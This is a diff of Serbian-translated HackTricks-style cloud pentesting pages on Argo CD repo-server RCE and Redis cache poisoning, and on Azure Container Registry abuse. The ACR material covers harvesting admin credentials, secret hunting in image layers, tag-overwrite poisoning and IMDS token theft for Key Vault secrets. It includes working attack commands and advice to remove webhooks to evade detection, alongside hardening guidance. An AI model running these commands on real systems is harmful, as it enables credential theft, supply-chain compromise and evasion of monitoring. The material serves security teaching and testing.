repo-serveru, zahtevi iz interne mreže pod kontrolom napadača mogu zaobići provere koje obično sprovodi `argocd-server`. Praktične provere: ```bash @@ -92,60 +92,60 @@ kubectl get svc -n argocd argocd-repo-server -o yaml kubectl get endpoints -n argocd argocd-repo-server -o wide nc -vz 8081 ``` -Zanimljivi znaci: +Zanimljivi pokazatelji: -- `repo-server` gRPC endpoint je dostupan sa non-Argo CD podova. -- `NetworkPolicies` nedostaju ili dozvoljavaju samo allow-list egress bez deny-ing ingress. -- `repo-server` ima pristup custom config management plugins, decryption tools, ili repository content od više tenant-a. -- Redis je dostupan sa non-Argo CD podova, što omogućava inspection ili tampering cache-a ako su credentials dostupni ili nisu potrebni. +- gRPC endpoint za repo-server dostupan je iz podova koji nisu Argo CD. +- NetworkPolicies nedostaju ili dozvoljavaju samo allow-list egress saobraćaja, bez zabrane ingress saobraćaja. +- repo-server ima pristup custom config management plugins, alatima za decryption ili sadržaju repozitorijuma iz više tenant-a. +- Redis je dostupan iz podova koji nisu Argo CD, što omogućava inspection ili tampering keša ako su credentials dostupni ili nisu potrebni. ## Unauthenticated Repo-Server RCE via Kustomize Options -U julu 2026, Synacktiv je objavio unauthenticated code execution chain u Argo CD `repo-server` kada attacker može da dosegne interni gRPC servis. Napad zloupotrebljava direct access na `/repository.RepoServerService/GenerateManifest` i attacker-controlled `KustomizeOptions`. +U julu 2026, Synacktiv je otkrio unauthenticated code execution lanac u Argo CD-u kada napadač može da pristupi internom gRPC servisu. Napad zloupotrebljava direktan pristup endpointu `/repository.RepoServerService/GenerateManifest` i `KustomizeOptions` koje kontroliše napadač. -Opasna primitive je forsiranje `repo-server` da clone-uje attacker-controlled repository content i pokrene Kustomize sa Helm support: +Opasni primitive je prisiljavanje repo-server-a da klonira sadržaj repozitorijuma koji kontroliše napadač i pokrene Kustomize sa podrškom za Helm: ```bash kustomize build --enable-helm --helm-command ./payload.sh ``` -Minimalni malicious Kustomize ulaz treba da pokrene Helm obradu: +Minimalni zlonamerni Kustomize input mora da pokrene Helm processing: ```yaml helmCharts: - name: pwn version: 0.0.1 ``` -Zašto ovo radi: +Zašto ovo funkcioniše: - `argocd-repo-server` klonira repository pre renderovanja. -- `--helm-command ./payload.sh` se rešava relativno u odnosu na klonirani repository. -- Code execution ne zahteva shell metacharacter injection ako napadač može da kontroliše rendered repository i Kustomize build options. +- `--helm-command ./payload.sh` se razrešava relativno u odnosu na klonirani repository. +- Code execution ne zahteva injection shell metakaraktera ako attacker može da kontroliše renderovani repository i Kustomize build opcije. -U vreme Synacktiv-ovog otkrivanja 1. jula 2026, prijavili su da issue nema official fix niti CVE. Ovo prvo tretirajte kao network-exposure issue: exploitation zahteva dostupnost internog repo-server gRPC porta. +U vreme Synacktiv-ovog otkrivanja od 1. jula 2026, prijavili su da problem nije imao zvaničnu ispravku niti CVE. Ovo najpre tretirajte kao problem izloženosti mreži: exploitation zahteva dostupnost internom repo-server gRPC portu. ## Redis Cache Poisoning za Deploy Manifests -Nakon code execution u `argocd-repo-server`, ili nakon direktnog pristupa Redis-u sa validnim credentials, pregledajte Redis-backed cache entries. Argo CD obično čuva gzip-compressed JSON values. +Nakon code execution-a u `argocd-repo-server`-u ili nakon direktnog pristupa Redis-u sa validnim credentials, pregledajte Redis-backed cache entries. Argo CD obično čuva gzip-compressed JSON vrednosti. -Zanimljivi key prefixes: +Zanimljivi key prefiksi: ```text mfst|... # cached rendered manifests git-refs|... # Git branch/ref to commit mappings app|... # application resource/cache data cluster|... # cluster cache information ``` -Napad trovanja cache-a opisan od strane Synacktiv zloupotrebljava dve stavke stanja: +The cache poisoning attack koji je opisao Synacktiv zloupotrebljava dva dela state-a: -1. Izmeni odgovarajući `mfst|...` cache entry manifesta tako da uključi Kubernetes manifest pod kontrolom napadača. -2. Izmeni povezani `git-refs|...` mapping tako da Argo CD poveruje da se branch pomerio, a zatim se reconciles nazad na cached revision. +1. Izmeniti relevantni `mfst|...` manifest cache entry tako da uključuje Kubernetes manifest pod kontrolom napadača. +2. Izmeniti povezano `git-refs|...` mapiranje kako bi Argo CD poverovao da je branch promenjen, a zatim izvršio reconciliation nazad na cached revision. -Uticaj: +Impact: -- Sa uključenim Auto Sync, Argo CD može automatski da primeni poisoned cached manifest. -- Bez Auto Sync, payload se i dalje može primeniti kada korisnik ručno sync-uje aplikaciju. -- Konačni uticaj je ograničen destination-om ciljne aplikacije i Kubernetes permissions dostupnim Argo CD-u. +- Kada je Auto Sync omogućen, Argo CD može automatski da primeni poisoned cached manifest. +- Bez Auto Sync-a, payload se i dalje može primeniti kada korisnik ručno sync-uje application. +- Konačni impact ograničen je destination-om ciljne application i Kubernetes permissions dostupnim Argo CD-u. ## ApplicationSet Attacks -ApplicationSet je posebno osetljiv jer kreira ili ažurira `Application` objekte na osnovu generator output-a. +ApplicationSet je posebno osetljiv zato što kreira ili ažurira `Application` objekte na osnovu generator output-a. Review: ```bash @@ -154,15 +154,15 @@ kubectl get appprojects.argoproj.io -A -o yaml ``` Zanimljivi obrasci: -- Git generators koji čitaju fajlove koje napadač može da menja i koji kontrolišu nazive aplikacija, paths, projekte ili destinacije. -- Pull request generators za javne repozitorijume gde nepouzdani saradnici mogu da utiču na generisane aplikacije. -- Template fields koji dozvoljavaju široke destination cluster/namespace. -- AppProjects koji dozvoljavaju `sourceRepos: ["*"]` ili široke `destinations`. +- Git generatori koji čitaju fajlove koje napadač može da menja, a koji kontrolišu nazive aplikacija, putanje, projekte ili odredišta. +- Pull request generatori za javne repozitorijume, gde nepouzdani saradnici mogu da utiču na generisane aplikacije. +- Polja šablona koja omogućavaju široko definisane destination klastere/namespace-ove. +- AppProjects koji dozvoljavaju `sourceRepos: ["*"]` ili široko definisana `destinations`. - Generisane aplikacije koje nasleđuju automated sync i pruning. ## Post-Exploitation -Iz Argo CD pod shell-a, prioriteti su: +Iz Argo CD pod shell-a, prioritet dajte: ```bash env cat /proc/1/environ 2>/dev/null | tr '\0' '\n' @@ -172,23 +172,23 @@ mount | grep -E 'secret|token|config' Korisni ciljevi: - Ukrasti `REDIS_PASSWORD` ili Redis TLS/client materijal. -- Izvući kredencijale repozitorijuma iz mounted secrets ili Argo CD Kubernetes secrets. -- Identifikovati cluster kredencijale koje koristi Argo CD. -- Čitati generisane manifests i output pluginova koji mogu sadržati injected secrets. -- Proveriti da li custom plugins, SOPS, Helm secrets, Vault plugins ili cloud CLIs otkrivaju decryption keys i cloud kredencijale. +- Izdvojiti akreditive repozitorijuma iz montiranih secrets ili Argo CD Kubernetes secrets. +- Identifikovati cluster akreditive koje koristi Argo CD. +- Pročitati generisane manifeste i izlaz plugin-a koji mogu sadržati ubačene secrets. +- Proveriti da li custom plugins, SOPS, Helm secrets, Vault plugins ili cloud CLI-ji izlažu ključeve za dešifrovanje i cloud akreditive. -## Detection & Hardening +## Detekcija i ojačavanje bezbednosti Važne provere: -- Ograničiti `argocd-repo-server` port **8081** i Redis port **6379** sa NetworkPolicies tako da im mogu pristupiti samo očekivane Argo CD komponente. -- U Helm deploymentima proveriti da li su network policies zaista kreirane. Argo CD Helm chart values su istorijski podrazumevano imali isključeno kreiranje component network policy-ja. -- Držati `argocd-server` kao autentifikovani ulazni punkt. Interni servisi ne bi smeli biti dostupni proizvoljnim workload-ovima. -- Isključiti neiskorišćene config management alate i pluginove. +- Ograničiti `argocd-repo-server` port **8081** i Redis port **6379** pomoću NetworkPolicies tako da im mogu pristupiti samo očekivane Argo CD komponente. +- Kod Helm deployments proveriti da li se NetworkPolicies zaista kreiraju. Vrednosti Argo CD Helm chart-a su istorijski podrazumevano onemogućavale kreiranje network policy-ja za komponente. +- Zadržati `argocd-server` kao autentifikovanu ulaznu tačku. Interni servisi ne bi trebalo da budu dostupni proizvoljnim workload-ima. +- Onemogućiti nekorišćene config management alate i plugin-e. - Ograničiti `AppProject` `sourceRepos`, `destinations`, namespace permissions i cluster-scoped resources. -- Izbegavati čuvanje širokih repository kredencijala tamo gde low-privileged Argo CD user može da izazove njihovu ponovnu upotrebu. -- Nadzirati repo-server zahteve, Kustomize build options, plugin izvršavanja, Redis writes i neočekivan pristup `mfst|` / `git-refs|` ključevima. -- Rotirati Argo CD local users, project tokens, repository kredencijale i cluster kredencijale nakon compromise. +- Izbegavati čuvanje široko privilegovanih akreditiva repozitorijuma tamo gde Argo CD korisnik sa niskim privilegijama može izazvati njihovu ponovnu upotrebu. +- Nadgledati repo-server zahteve, Kustomize build opcije, izvršavanja plugin-a, Redis upise i neočekivani pristup ključevima `mfst|` / `git-refs|`. +- Rotirati Argo CD local users, project tokene, akreditive repozitorijuma i cluster akreditive nakon kompromitovanja. Korisne komande: ```bash @@ -197,23 +197,24 @@ kubectl get networkpolicy -A | grep -i argocd kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null ``` -## Static Analysis Note: Typed API Requests in CodeQL +## Napomena o statičkoj analizi: tipizovani API zahtevi u CodeQL-u -Za Go services koji koriste gRPC/REST handlers, podrazumevani CodeQL remote sources mogu propustiti flows kada se raw input jednom unmarshaluje u typed request objects. Koristan model za Argo CD-style services je: +Za Go servise koji koriste gRPC/REST handlere, podrazumevani CodeQL remote sources mogu da propuste tokove nakon što se sirovi ulaz unmarshaluje u tipizovane request objekte. Koristan model za servise u stilu Argo CD-a je: -- Receiver type kao `Server` ili `Service`. -- Prvi parameter je `context.Context`. -- Drugi parameter je typed request object. +- Tip receiver-a, kao što je `Server` ili `Service`. +- Prvi parametar je `context.Context`. +- Drugi parametar je tipizovani request objekat. -Modeluj taj drugi parameter kao remote source i dodaj custom sinks za `exec.Command` / `exec.CommandContext` arguments. Ovo pomaže da se pronađu flows od internih API request fields do command execution helpers. +Modelujte taj drugi parametar kao remote source i dodajte prilagođene sink-ove za argumente funkcija `exec.Command` / `exec.CommandContext`. Ovo pomaže u pronalaženju tokova od polja internih API request-ova do pomoćnih funkcija za izvršavanje komandi. -## References +## Reference - [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) -- [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) -- [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) -- [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) +- [Argo CD dokumentacija - Bezbednosna razmatranja](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) +- [Argo CD dokumentacija - Visoka dostupnost](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) +- [Argo CD dokumentacija - repo-server referenca komandi](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) - [Argo CD - repo-server NetworkPolicy manifest](https://github.com/argoproj/argo-cd/blob/master/manifests/base/repo-server/argocd-repo-server-network-policy.yaml) -- [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) -- [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) -- [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +- [Argo CD dokumentacija - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) +- [Argo Helm - referenca vrednosti chart-a](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) +- [Kustomize - primer generatora Helm chart-a](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 52b7c1b91..ed71bf4d6 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -6,4 +6,8 @@ az-azure-ai-foundry-post-exploitation.md {{#endref}} +{{#ref}} +az-container-registry-post-exploitation.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md new file mode 100644 index 000000000..4d6261f59 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md @@ -0,0 +1,87 @@ +# Az - Container Registry Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +Za više informacija o ovom servisu pogledajte: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write` + +Identitet sa ACR pristupom management-plane-u može taj pristup pretvoriti u **ponovo upotrebljive Docker kredencijale**. Ako je **admin user** onemogućen, ali principal takođe ima `registries/write`, omogućite ga, preuzmite lozinke i direktno se autentifikujte na `.azurecr.io`. +```bash +az acr show --resource-group --name --query adminUserEnabled +az acr update --resource-group --name --admin-enabled true +az acr credential show -n +docker login .azurecr.io -u -p +``` +Ovo je korisno zato što se pronađeni kredencijali mogu ponovo koristiti izvan Azure CLI-ja za **izlistavanje, preuzimanje, slanje, prepisivanje i ponekad brisanje** sadržaja registry-ja sve dok se administratorski nalog ne onemogući ili se lozinke ne promene. + +### `Microsoft.ContainerRegistry/registries/pull/read` + +Koristite pull pristup za **izviđanje repozitorijuma** i **secret hunting** unutar image-a. Pregledajte i konačnu konfiguraciju kontejnera i istorijske filesystem slojeve, jer fajlovi kopirani u jednom sloju mogu ostati recoverable čak i ako su kasnije obrisani. +```bash +az acr repository list -n +az acr repository show-tags -n --repository --detail +docker pull .azurecr.io/: + +container_id=$(docker create .azurecr.io/:) +docker cp "$container_id":/ ./extracted_container +docker rm "$container_id" +docker inspect .azurecr.io/: | jq -r '.[0].Config.Env[]?' +dive .azurecr.io/: +``` +Ciljevi visoke vrednosti uključuju **promenljive okruženja**, **konfiguracije aplikacija**, **deployment skripte**, **sertifikate**, **pristupne tokene** i **connection strings**. Za još ideja tokom pregleda layer-a, pogledajte stranicu Docker forensics: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/push/write` + +Push pristup napadaču omogućava da **otruje pouzdane repozitorijume** ili **prepiše promenljive tagove** kao što su `latest`, `prod` ili `stable`. Svaki workload koji se i dalje deployuje pomoću taga umesto digest-a može da preuzme napadačev image pri sledećem deployment-u, događaju horizontalnog skaliranja ili restartu. +```bash +# Retag an existing local image for the target ACR + +docker tag : .azurecr.io/: +docker push .azurecr.io/: + +# If your workstation architecture differs from the target runtime, build for the consumer platform first + +docker buildx build --platform linux/amd64 -t .azurecr.io/: --load . +docker push .azurecr.io/: +``` +Pre zamene taga, proverite koje repozitorijume i tagove downstream workloads zaista koriste. **Digest-pinned** konzumenti (`@sha256:...`) se mnogo teže preusmeravaju nego konzumenti zasnovani na tagovima. + +### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action` + +Ako možete i da **zamenite image** koji koristi downstream container workload i da **restartujete** taj workload, maliciozni entrypoint se izvršava unutar **network i managed identity konteksta** ciljnog containera. Odatle image može da zatraži tokene od IMDS-a i pristupi Azure resursima dostupnim toj workload identity. +```bash +TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token) +curl -H "Authorization: Bearer $TOKEN" \ +'https://.vault.azure.net/secrets/?api-version=7.4' +az container restart --resource-group --name +``` +Ovo pretvara overwrite ACR taga u **code execution**, **secret theft** ili **lateral movement** unutar bilo kog container consumer-a koji veruje izmenjenom tagu i izlaže koristan identity. + +### Povezana privesc putanja: ACR Tasks managed identities + +Ako takođe posedujete `Microsoft.ContainerRegistry/registries/tasks/write` i `Microsoft.ContainerRegistry/registries/runs/write`, pređite na ACR privesc putanju i direktno zloupotrebite managed identity task-a: + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md +{{#endref}} + +## Reference + +- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security) +- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication) +- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest) +- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest) +- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 2e3f093f8..d71f6937d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -2,39 +2,39 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Osnovne informacije -Azure Container Registry (ACR) je siguran, private registry koji omogućava da **store, manage, and access container images in the Azure cloud**. Integrates se bez problema sa nekoliko Azure services, providing automated build and deployment workflows at scale. Sa features kao što su geo-replication i vulnerability scanning, ACR pomaže da se obezbedi enterprise-grade security i compliance za containerized applications. +Azure Container Registry (ACR) je bezbedan, privatni registry koji vam omogućava da **skladištite, upravljate i pristupate slikama kontejnera u Azure cloud-u**. Besprekorno se integriše sa nekoliko Azure servisa, obezbeđujući automatizovane tokove za build i deployment u velikom obimu. Uz funkcije kao što su geo-replikacija i skeniranje ranjivosti, ACR pomaže u obezbeđivanju bezbednosti i usklađenosti na nivou preduzeća za kontejnerizovane aplikacije. -### Permissions +### Dozvole -Ovo su **different permissions** [according to the docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) koje mogu biti dodeljene nad Container Registry: +Ovo su **različite dozvole** [prema dokumentaciji](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) koje mogu biti dodeljene nad Container Registry-jem: -- Access Resource Manager -- Create/delete registry -- Push image -- Pull image -- Delete image data -- Change policies -- Sign images +- Pristup Resource Manager-u +- Kreiranje/brisanje registry-ja +- Push image-a +- Pull image-a +- Brisanje podataka image-a +- Menjanje politika +- Potpisivanje image-a -Postoje i neke **built-in roles** koje mogu biti dodeljene, a takođe je moguće kreirati **custom roles**. +Takođe postoje neke **ugrađene uloge** koje mogu biti dodeljene, a moguće je kreirati i **custom uloge**. -![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png) +![Matrica dozvola ugrađenih Azure Container Registry uloga za upravljanje registry-jem, image-ovima, podacima, politikama i radnjama potpisivanja](/images/registry_roles.png) -### Authentication +### Autentikacija > [!WARNING] -> Veoma je imporatantno da čak i ako ime registry-ja sadrži neka velika slova, uvek treba koristiti **lowercase letters** za login, push i pull images. +> Veoma je važno da, čak i ako naziv registry-ja sadrži velika slova, uvek koristite **mala slova** za login, push i pull image-ova. -Postoje 4 načina da se autentifikuješ na ACR: +Postoje 4 načina za autentikaciju na ACR: -- **With Entra ID**: Ovo je **default** način za autentifikaciju na ACR. Koristi **`az acr login`** command za autentifikaciju na ACR. Ovaj command će **store credentials** u datoteku **`~/.docker/config.json`**. Takođe, ako ovaj command pokrećeš iz environment bez pristupa docker socket-u kao u **cloud shell**, moguće je koristiti flag **`--expose-token`** da dobiješ **token** za autentifikaciju na ACR. Zatim, da bi se autentifikovao, treba da koristiš korisničko ime `00000000-0000-0000-0000-000000000000` kao: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **With an admin account**: Admin user je podrazumevano disabled, ali može biti enabled i tada će biti moguće pristupiti registry-ju koristeći **username** i **password** admin account-a sa punim permissions nad registry-jem. Ovo je i dalje supported zato što ga koriste neke Azure services. Imaj na umu da se za ovog user-a kreiraju **2 passwords** i oba su validna. Možeš ga enable-ovati pomoću `az acr update -n --admin-enabled true`. Imaj na umu da je username obično ime registry-ja (a ne `admin`). -- **With a token**: Moguće je kreirati **token** sa specifičnim **`scope map`** (permissions) za pristup registry-ju. Zatim je moguće koristiti ime tokena kao username i bilo koju od generisanih lozinki za autentifikaciju na registry pomoću `docker login -u -p ` -- **With a Service Principal**: Moguće je kreirati **service principal** i dodeliti mu role kao što je **`AcrPull`** za pull images. Zatim će biti moguće **login to the registry** koristeći SP appId kao username i generisani secret kao password. +- **Pomoću Entra ID-ja**: Ovo je **podrazumevani** način autentikacije na ACR. Koristi komandu **`az acr login`** za autentikaciju na ACR. Ova komanda će **sačuvati kredencijale** u fajl **`~/.docker/config.json`**. Pored toga, ako ovu komandu pokrećete iz okruženja bez pristupa Docker socket-u, kao što je **cloud shell**, moguće je koristiti flag **`--expose-token`** za dobijanje **tokena** za autentikaciju na ACR. Zatim, za autentikaciju, kao korisničko ime treba koristiti `00000000-0000-0000-0000-000000000000`, na primer: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **Pomoću admin naloga**: Admin korisnik je podrazumevano onemogućen, ali se može omogućiti, nakon čega će biti moguće pristupiti registry-ju pomoću **korisničkog imena** i **lozinke** admin naloga sa punim dozvolama nad registry-jem. Ovo je i dalje podržano jer ga neki Azure servisi koriste. Imajte na umu da se za ovog korisnika kreiraju **2 lozinke** i da su obe važeće. Možete ga omogućiti pomoću `az acr update -n --admin-enabled true`. Imajte na umu da je korisničko ime obično naziv registry-ja (a ne `admin`). +- **Pomoću tokena**: Moguće je kreirati **token** sa određenim **`scope map`-om** (dozvolama) za pristup registry-ju. Zatim je moguće koristiti naziv tokena kao korisničko ime i bilo koju od generisanih lozinki za autentikaciju na registry-ju pomoću `docker login -u -p ` +- **Pomoću Service Principal-a**: Moguće je kreirati **service principal** i dodeliti mu ulogu kao što je **`AcrPull`** za pull image-ova. Zatim će biti moguće **ulogovati se na registry** koristeći SP appId kao korisničko ime i generisani secret kao lozinku. -Primer script-a iz [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za generisanje SP sa access nad registry-jem: +Primer skripte iz [dokumentacije](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) za generisanje SP-a sa pristupom registry-ju: ```bash #!/bin/bash ACR_NAME=$containerRegistry @@ -49,41 +49,41 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app echo "Service principal ID: $USER_NAME" echo "Service principal password: $PASSWORD" ``` -### Encryption +### Enkripcija Samo **Premium SKU** podržava **encryption at rest** za slike i druge artefakte. -### Networking +### Umrežavanje -Samo **Premium SKU** podržava **private endpoints**. Ostali podržavaju samo **public access**. Public endpoint ima format `.azurecr.io`, a private endpoint ima format `.privatelink.azurecr.io`. Iz tog razloga, ime registry-ja mora biti jedinstveno u celom Azure-u. +Samo **Premium SKU** podržava **private endpoints**. Ostali podržavaju samo **public access**. Javni endpoint ima format `.azurecr.io`, a privatni endpoint ima format `.privatelink.azurecr.io`. Zbog toga ime registry-ja mora biti jedinstveno u celom Azure-u. ### Microsoft Defender for Cloud -Ovo vam omogućava da **scan the images** u registry-ju na **vulnerabilities**. +Ovo omogućava da **skenirate slike** u registry-ju radi otkrivanja **vulnerabilities**. ### Soft-delete -Funkcija **soft-delete** vam omogućava da **recover a deleted registry** u okviru naznačenog broja dana. Ova funkcija je **disabled by default**. +Funkcija **soft-delete** omogućava da **oporavite obrisani registry** u roku od navedenog broja dana. Ova funkcija je **podrazumevano onemogućena**. ### Webhooks -Moguće je **create webhooks** unutar registry-ja. U ovom webhook-u je potrebno navesti URL na koji će se **request** poslati svaki put kada se izvrši push ili delete akcija. Takođe, Webhooks mogu navesti scope kako bi označili repositories (images) na koje će se to odnositi. Na primer, 'foo:\*' znači događaje u okviru repository-ja 'foo'. +Moguće je **kreirati webhooks** unutar registry-ja. U ovom webhook-u potrebno je navesti URL na koji će **biti poslat zahtev svaki put kada se izvrši push ili delete akcija**. Osim toga, Webhooks mogu navesti scope kojim se određuju repozitorijumi (slike) na koje će to uticati. Na primer, `foo:*` označava događaje unutar repozitorijuma `foo`. -Iz perspektive napadača, korisno je ovo proveriti **pre nego što se izvrši bilo kakva akcija** u registry-ju, i po potrebi ga privremeno ukloniti, da bi se izbeglo otkrivanje. +Iz perspektive napadača, zanimljivo je proveriti ovo **pre izvršavanja bilo kakve akcije** u registry-ju i privremeno ga ukloniti ako je potrebno, kako bi se izbegla detekcija. ### Connected registries -Ovo u osnovi omogućava da se **mirror the images** iz jednog registry-ja u drugi, obično lociran on-premises. +Ovo u osnovi omogućava **mirroring slika** iz jednog registry-ja u drugi, koji se obično nalazi on-premises. -Ima 2 moda: **ReadOnly** i **ReadWrite**. U prvom, images se samo **pulled** iz source registry-ja, a u drugom se images takođe mogu **pushed** u source registry. +Ima 2 režima: **ReadOnly** i **ReadWrite**. U prvom režimu slike se samo **preuzimaju** iz izvornog registry-ja, dok u drugom režimu slike mogu biti i **poslate** u izvorni registry. -Da bi klijenti pristupili registry-ju iz Azure-a, **token** se generiše kada se koristi conected registry. +Da bi klijenti mogli da pristupe registry-ju iz Azure-a, generiše se **token** kada se koristi connected registry. ### Runs & Tasks -Runs & Tasks omogućava izvršavanje akcija vezanih za Azure container koje biste obično morali da radite lokalno ili u CI/CD pipeline-u. Na primer, možete **build, push, and run images in the registry**. +Runs & Tasks omogućava izvršavanje radnji povezanih sa Azure container-ima koje su obično potrebne lokalno ili u CI/CD pipeline-u. Na primer, možete **build-ovati, push-ovati i pokretati slike u registry-ju**. -Najlakši način da build-ujete i pokrenete container je korišćenjem običnog Run: +Najlakši način za build-ovanje i pokretanje container-a jeste korišćenje običnog Run-a: ```bash # Build echo "FROM mcr.microsoft.com/hello-world" > Dockerfile @@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f # Run az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null ``` -Međutim, to će pokrenuti runs koji nisu baš zanimljivi iz napadačke perspektive zato što nemaju nijednu attached managed identity. +Međutim, to će pokrenuti izvršavanja koja nisu naročito interesantna iz perspektive napadača, jer im nije pridružen nijedan managed identity. -Međutim, **tasks** mogu imati prikačenu **system i user managed identity**. Ti tasks su oni korisni za **escalate privileges** u containeru. U sekciji privileges escalation moguće je videti kako koristiti tasks za escalate privileges. +Međutim, **tasks** mogu imati pridružen **system and user managed identity**. To su **tasks** koji su korisni za **eskalaciju privilegija** u containeru. U odeljku o eskalaciji privilegija moguće je videti kako koristiti tasks za eskalaciju privilegija. ### Cache -Cache feature omogućava da se **download images from an external repository** i da se nove verzije sačuvaju u registry. Zahteva da budu podešeni neki **credentials** tako što se izaberu credentials iz Azure Vault. +Funkcija Cache omogućava **preuzimanje image-a iz eksternog repository-ja** i čuvanje novih verzija u registry-ju. Potrebno je da postoje **konfigurisani credentials**, tako što se credentials izaberu iz Azure Vault-a. -Ovo je veoma zanimljivo iz napadačke perspektive zato što omogućava da se **pivot to an external platform** ako napadač ima dovoljno permissions da pristupi credentials, **download images from an external repository** i konfigurisanje cache-a takođe može da se koristi kao **persistence mechanism**. +Ovo je veoma interesantno iz perspektive napadača, jer omogućava **pivotovanje na eksternu platformu** ako napadač ima dovoljno dozvola za pristup credentials-ima. **Preuzimanje image-a iz eksternog repository-ja** i konfigurisanje Cache-a takođe može biti iskorišćeno kao **mehanizam persistence-a**. -## Enumeration +## Enumeracija > [!WARNING] -> Veoma je važno da čak i ako registry name sadrži neka velika slova, za pristup preko url-a treba koristiti samo mala slova. +> Veoma je važno da, čak i ako naziv registry-ja sadrži velika slova, u URL-u za pristup treba koristiti samo mala slova. ```bash # List of all the registries # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... @@ -143,18 +143,22 @@ az acr cache list --registry # Get cache details az acr cache show --name --registry ``` -## Neautorizovan pristup +## Neautentifikovani pristup {{#ref}} ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md {{#endref}} -## Eskalacija privilegija i post eksploatacija +## Privilege Escalation & Post Exploitation {{#ref}} ../az-privilege-escalation/az-container-registry-privesc.md {{#endref}} +{{#ref}} +../az-post-exploitation/az-container-registry-post-exploitation.md +{{#endref}} + ## Reference - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)